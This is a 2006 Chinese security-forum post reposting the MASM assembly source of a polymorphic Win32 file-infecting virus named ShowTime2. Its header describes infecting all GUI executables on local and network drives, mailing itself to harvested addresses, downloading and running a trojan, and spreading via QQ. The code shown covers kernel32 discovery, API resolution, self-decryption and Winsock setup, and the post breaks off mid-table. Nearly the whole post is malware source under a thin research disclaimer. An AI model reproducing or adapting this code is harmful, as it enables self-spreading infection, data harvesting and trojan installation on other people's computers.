|
智囊团成员
   
E.S.T智囊团成员 - 帖子
- 1244
- 精华
- 8
- 积分
- 6154
- 阅读权限
- 150
- 性别
- 男
- 在线时间
- 593 小时
- 注册时间
- 2005-3-18
- 最后登录
- 2008-6-6
|
楼主
大 中
小 发表于 2006-8-1 05:16 只看该作者
[转载]Win32.poly.ShowTime2病毒源码
信息来源:邪恶八进制信息安全团队( www.eviloctal.com) Code Language : ASM ;*************************************************************** ; 名 称:Trash ; 测试平台:Win98/masmV7.0 ; ; 申明:本文仅作技术研究,否则后果自负 ;注: ; ;编译命令行: ; ml /c /coff poly.asm ; link /subsystem:windows /section:.text,rew poly.obj ;*************************************************************** ;;简 介: ;1. 感染本地硬盘和网络上所有exe(GUI)文件 ;2. 搜索本地所有邮件地址,将病毒作为附件发送出去 ;3. 从网上下载木马程序并运行。 ;4. 利用QQ散播消息。 ;************************************************* ;工作流程: ;1.首先得到重定位信息,保存在ebx中. ;2.调用GetKBase ,得到Kernel32.dll的基地址。 ;3.调用GetAPIz,得到程序将使用的Kernel32中所有API. ;4.判断是被感染文件还是自身.如是被感染文件则分配空间并动态产生解密模块,然后解密程序代码。 ; 否则直接到5 ;5. 调用DownloadFile下载木马程序 ;6. 调用RunExe执行木马程序 ;7.调用DownloadFile下载邮件体hello.eml文件 ;8. 启动发送QQ消息线程 ;9. 感染本地Exe文件 ;*************************************************** .386 .Model Flat, StdCall Option Casemap :None ;___________________________________________________________________________ include d:\masm32\useful.inc .code Main: Flag dd 45678h szCaption db \"ShowTime\",0 szText db \"Good luck!\",0 Msgbox: invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK invoke ExitProcess,NULL VStart: call Start Start: pop ebx ;病毒在宿主中的位置 sub ebx , offset Start call GetKBase ;获得KERNEL.DLL基地址 jnz VStar jz VStar db 0e9h ;花指令 VStar: call GetAPIz;获得病毒用到的APIs的地址 mov eax,offset Msgbox .if Flag!=45678h;第一次运行则不用变形 Next1: push PAGE_EXECUTE_READWRITE push MEM_COMMIT push VirusLen push NULL call _VirtualAlloc[ebx] mov hMem[ebx],eax lea esi,[offset Load+ebx] mov edi,hMem[ebx] mov ecx,EncryptLen/4 push ebx call Metamorphosize pop ebx push ebx call hMem[ebx] pop ebx .endif call Load ;**********获得image of kernel32.dll的基址***************** GetKBase: mov edi , [esp+04h] and edi , 0FFFF0000h .while TRUE .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE ;判断是否是MZ mov esi, edi add esi, DWORD ptr [esi+03Ch] ;esi指向PE标志 .if DWORD ptr [esi] ==IMAGE_NT_SIGNATURE;是否有PE标志 .break;如果有跳出循环 .endif .endif sub edi, 010000h .if edi < MIN_KERNEL_SEARCH_BASE ;win9x mov edi, 0bff70000h ;0bff7000h=9x\"base .break .endif .endw mov hKernel32[ebx],edi;把找到的KERNEL32。DLL的基地址保存起来 ret GetAPIz: push edi mov edx,edi ;edx->KERNEL32基地址 assume edx :ptr IMAGE_DOS_HEADER add edx,[edx].e_lfanew assume edx:ptr IMAGE_NT_HEADERS mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress add edx,hKernel32[ebx];EDX->KERNEL32输出表地址 assume edx:ptr IMAGE_EXPORT_DIRECTORY push edx mov ebp,[edx].AddressOfNames add ebp,hKernel32[ebx] ;ebp->指向所有函数名的RVA数组 push ebp xor eax,eax ;eax为序号 .repeat push 14 ;为GetProcAddress函数名的长度 pop ecx mov edi,[ebp] add edi,hKernel32[ebx] lea esi,[offset nGetProcAddress+ebx] repz cmpsb;比较输出表中第I个函数名是否是GetProcessAddress .if zero? .break ;如果是跳出 .endif add ebp,4 ;下一个RVA inc eax ;序号加1 .until eax == [edx].NumberOfNames ;[edx].NumberOfNames为函数的个数 mov ebp, [edx].AddressOfNameOrdinals ;指向AddressOfNames数组中相关函数的序数的16位数组 add ebp, hKernel32[ebx] movzx ecx, word ptr [ebp+eax*2] ;取GetProcessAddress函数的序号 mov ebp, [edx].AddressOfFunctions ;[edx].AddressOfFunctions指向所有输出函数的RVA数组的首址 add ebp, hKernel32[ebx] mov eax, [ebp+ecx*4] add eax,hKernel32[ebx];eax为GetProcAddress函数的地址 mov _GetProcAddress[ebx],eax pop ebp pop edx pop edi xor eax,eax ;eax为序号 .repeat push 12 ;LoadLibraryA函数名的长度 pop ecx mov edi,[ebp] add edi,hKernel32[ebx] lea esi,[offset nLoadLibraryA+ebx] repz cmpsb;比较输出表中第I个函数名是否是LoadLibraryA .if zero? .break ;如果是跳出 .endif add ebp,4 ;下一个RVA inc eax ;序号加1 .until eax == [edx].NumberOfNames ;[edx].NumberOfNames为函数的个数 mov ebp, [edx].AddressOfNameOrdinals ;指向AddressOfNames数组中相关函数的序数的16位数组 add ebp, hKernel32[ebx] movzx ecx, word ptr [ebp+eax*2] ;取LoadLibraryA函数的序号 mov ebp, [edx].AddressOfFunctions ;[edx].AddressOfFunctions指向所有输出函数的RVA数组的首址 add ebp, hKernel32[ebx] mov eax, [ebp+ecx*4] add eax,hKernel32[ebx];eax为LoadLibraryA函数的地址 mov _LoadLibraryA[ebx],eax lea eax,[offset nKernel+ebx] push eax call _LoadLibraryA[ebx] mov DWORD ptr hKernel32[ebx],eax GetOApiz: call @api_table db \"LoadLibraryA\",0 db \"CreateThread\",0 db \"CreateRemoteThread\",0 db \"WinExec\",0 db \"CreateMutexA\",0 db \"OpenMutexA\",0 db \"ReleaseMutex\",0 db \"FindFirstFileA\",0 db \"FindNextFileA\",0 db \"FindClose\",0 db \"CreateFileA\",0 db \"CreateFileMappingA\",0 db \"MapViewOfFile\",0 db \"UnmapViewOfFile\",0 db \"SetFilePointer\",0 db \"ReadFile\",0 db \"GetComputerNameA\",0 db \"WriteFile\",0 db \"CloseHandle\",0 db \"VirtualAlloc\",0 db \"VirtualAllocEx\",0 db \"WriteProcessMemory\",0 db \"VirtualFree\",0 db \"VirtualFreeEx\",0 db \"lstrcmpi\",0 db \"lstrcpy\",0 db \"lstrcat\",0 db \"lstrlen\",0 db \"GetFileSize\",0 db \"GetSystemDirectoryA\",0 db \"GetModuleFileNameA\",0 db \"Sleep\",0 db \"GetSystemTime\",0 db \"DeleteFileA\",0 db \"OpenProcess\",0 db \"GetModuleHandleA\",0 db \"GetCurrentDirectoryA\",0 db \"SetCurrentDirectoryA\",0 db \"ExitProcess\",0 db \"GetExitCodeThread\",0 db \"ResumeThread\",0 @api_table: pop edi call @api_dest K_Apiz: _LoadLibraryA dd 0 _CreateThread dd 0 _CreateRemoteThread dd 0 _WinExec dd 0 _CreateMutex dd 0 _OpenMutex dd 0 _ReleaseMutex dd 0 _FindFirstFile dd 0 _FindNextFile dd 0 _FindClose dd 0 _CreateFile dd 0 _CreateFileMapping dd 0 _MapViewOfFile dd 0 _UnmapViewOfFile dd 0 _SetFilePointer dd 0 _ReadFile dd 0 _GetComputerNameA dd 0 _WriteFile dd 0 _CloseHandle dd 0 _VirtualAlloc dd 0 _VirtualAllocEx dd 0 _WriteProcessMemory dd 0 _VirtualFree dd 0 _VirtualFreeEx dd 0 _lstrcmpi dd 0 _lstrcpy dd 0 _lstrcat dd 0 _lstrlen dd 0 _GetFileSize dd 0 _GetSystemDirectory dd 0 _GetModuleFileNameA dd 0 _Sleep dd 0 _GetSystemTime dd 0 _DeleteFile dd 0 _OpenProcess dd 0 _GetModuleHandleA dd 0 _GetCurrentDirectoryA dd 0 _SetCurrentDirectoryA dd 0 _ExitProcess dd 0 _GetExitCodeThread dd 0 _ResumeThread dd 0 K_API_NUM = ($-K_Apiz)/4 ;病毒中用到的API函数的个数 @api_dest: pop esi ;esi为存放找到的函数地址数组的首址 push K_API_NUM pop ecx xor ebp,ebp K_begin: push ecx push edi ;edi上面定义的函数名数组的首地址 push hKernel32[ebx] call _GetProcAddress[ebx] or eax,eax jz GA_Fail ;mov edx , DWORD ptr [esi+ebp] mov dword ptr [esi],eax GA_Fail: xor eax,eax repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名 add esi,4 pop ecx loop K_begin call szWsock32 db \"Wsock32.dll\",0 hSock dd 0 szWsock32: call _LoadLibraryA[ebx] mov hSock[ebx],eax SockApis: call SockTable db \"WSAStartup\",0 db \"socket\",0 db \"htons\",0 db \"inet_addr\",0 db \"connect\",0 db \"send\",0 db \"closesocket\",0 db \"WSACleanup\",0 db \"gethostbyname\",0 SockTable: pop edi call SockDest S_Apiz: _WSAStartup dd 0 _socket dd 0 _htons dd 0 _inet_addr dd
|